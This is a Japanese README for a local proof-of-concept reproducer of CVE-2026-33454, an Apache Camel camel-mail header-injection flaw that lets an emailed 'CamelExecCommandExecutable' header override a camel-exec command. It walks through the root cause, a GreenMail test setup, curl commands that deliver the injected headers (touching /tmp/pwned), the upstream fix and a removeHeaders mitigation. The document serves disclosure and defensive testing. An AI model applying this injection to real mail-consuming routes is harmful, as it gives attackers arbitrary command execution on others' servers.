
CVE-2026-33454 用リプロデューサー: camel-exec を介した Apache Camel camel-mail ヘッダーインジェクションによる RCE
このプロジェクトは、Apache Camel の camel-mail コンポーネントにおける Camel メッセージヘッダインジェクション の脆弱性 (CVE-2026-33454) を実証するものです。Camel メールコンシューマが監視するメールボックスにメールを配信できる攻撃者は、Camel* 制御ヘッダを Exchange に注入し、ルートが camel-exec のようなヘッダに敏感なプロデューサへ転送する場合に リモートコード実行 を達成できます。
アドバイザリ: https://camel.apache.org/security/CVE-2026-33454.html
| プロパティ | 値 |
|---|---|
| コンポーネント | camel-mail |
| 影響を受けるクラス | org.apache.camel.component.mail.MailHeaderFilterStrategy (+ MailBinding.extractHeadersFromMail) |
| 根本原因 | フィルタ戦略が OUT 方向 (setOutFilterStartsWith) のみを設定し、IN 方向を設定しないため、インバウンド MIME ヘッダがフィルタリングされない |
| CWE | CWE-20: 不適切な入力検証 (Camel メッセージヘッダインジェクション) |
| 影響 | リモートコード実行 (ヘッダに敏感なプロデューサ経由、例: camel-exec) |
| 影響を受けるバージョン | 3.0.0 から 4.14.6 未満、および 4.15.0 から 4.18.1 未満 |
| 修正済みバージョン | 4.14.6, 4.18.1, 4.19.0 |
| JIRA | CAMEL-23222 |
| 報告者 | Hyunwoo Kim (@v4bel) |
MailHeaderFilterStrategy は DefaultHeaderFilterStrategy を継承しています。影響を受けるバージョンでは、そのコンストラクタが out フィルタのみを設定し、in フィルタを設定しません:
// MailHeaderFilterStrategy - affected version (only the OUT direction is filtered)
public MailHeaderFilterStrategy() {
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH); // OUT only
// no setInFilterStartsWith(...) -> inbound Camel* headers are NOT filtered
}
Camel がメールを消費するとき (例: from("imap://...") や from("pop3://..."))、
MailBinding.extractHeadersFromMail() はすべての MIME ヘッダを Exchange In ヘッダにコピーしますが、その際に
headerFilterStrategy.applyFilterToExternalHeaders(...) で判定されます。in フィルタが設定されていないため、
Camel* プレフィックス付き MIME ヘッダはそのまま通過します:
// MailBinding.extractHeadersFromMail() - the in-filter is not configured, so Camel* passes
Enumeration<?> names = mailMessage.getAllHeaders();
...
boolean keep = !headerFilterStrategy.applyFilterToExternalHeaders(headerName, value, exchange);
if (keep) { answer.put(headerName, value); }
したがって、監視対象メールボックスにメールを送信できる攻撃者は、任意の Camel* 制御ヘッダを設定できます。ルートが camel-exec のようなヘッダに敏感なプロデューサへ転送すると、
CamelExecCommandExecutable / CamelExecCommandArgs ヘッダがコマンドを上書きし (影響を受けるバージョンではデフォルトで有効) → 任意の OS コマンド実行につながります。
from("imap://127.0.0.1:3143?username=victim&password=secret&delete=true&unseen=true")
.to("exec:echo?args=hello") // fixed, harmless command
.convertBodyTo(String.class);
GreenMail コンテナが SMTP (3025) と IMAP (3143) を提供し、単一のメールボックス
(ログイン victim、パスワード secret、アドレス victim@localhost) を持ちます:
docker compose up -d
# or:
docker run -d --name greenmail-cve -p 3025:3025 -p 3143:3143 \
-e GREENMAIL_OPTS='-Dgreenmail.setup.test.all -Dgreenmail.users=victim:secret@localhost -Dgreenmail.hostname=0.0.0.0 -Dgreenmail.auth.disabled -Dgreenmail.verbose' \
greenmail/standalone:2.1.0
mvn clean package -DskipTests
mvn spring-boot:run
IMAP 被害者ルートとヘルパー用 REST コントローラが 8080 ポートで起動します。
curl http://localhost:8080/exploit/normal
コンシューマがメールを取得し、echo hello を実行します。
# default benign proof: touch /tmp/pwned
curl http://localhost:8080/exploit/attack
# or choose the executable/args:
curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-mail"
これにより、MIME ヘッダに以下を含むメールが配信されます:
CamelExecCommandExecutable: /usr/bin/touch
CamelExecCommandArgs: /tmp/pwned
# wait ~2s for the IMAP poll cycle, then:
ls -la /tmp/pwned
/tmp/pwned が存在する場合、注入された MIME ヘッダが exec コマンドを上書きしたことになり、RCE が発生しています。
docker compose down # or: docker rm -f greenmail-cve
このインジェクションは、後段にヘッダに敏感なプロデューサが存在するだけで成立します。アドバイザリでは camel-bean、camel-exec、camel-sql が挙げられていますが、より広範に:
CamelExecCommandExecutable / CamelExecCommandArgs → OS コマンド実行CamelFileName → 任意のファイル書き込み / パストラバーサルCamelBeanMethodName → 別のメソッドを呼び出すimap://, imaps://, pop3://, ...) が存在する。removeHeaders("Camel*") がない。攻撃者は監視対象メールボックスにメールを送信できるだけで十分です。
修正 (CAMEL-23222) ではインバウンドフィルタも設定されます:
public MailHeaderFilterStrategy() {
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
String[] inFilter = Arrays.copyOf(CAMEL_FILTER_STARTS_WITH, CAMEL_FILTER_STARTS_WITH.length + 2);
inFilter[CAMEL_FILTER_STARTS_WITH.length] = "mail.smtp.";
inFilter[CAMEL_FILTER_STARTS_WITH.length + 1] = "mail.smtps.";
setInFilterStartsWith(inFilter); // now the inbound direction is filtered too
}
アップグレードするまでの間:
from("imap:...") の直後に .removeHeaders("Camel*") を追加する。CVE-2026-33454/
├── pom.xml
├── docker-compose.yml # GreenMail mail server (SMTP 3025 / IMAP 3143)
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java # Spring Boot entry point
│ ├── MailExecRoute.java # the vulnerable victim route (imap -> exec)
│ └── ExploitController.java # attacker: delivers the malicious email via SMTP
└── resources/
└── application.properties
この再現ツールはセキュリティ研究および許可されたテスト専用であり、公開済みかつ修正済みの脆弱性を対象としています。明示的な許可なくシステムに対して使用しないでください。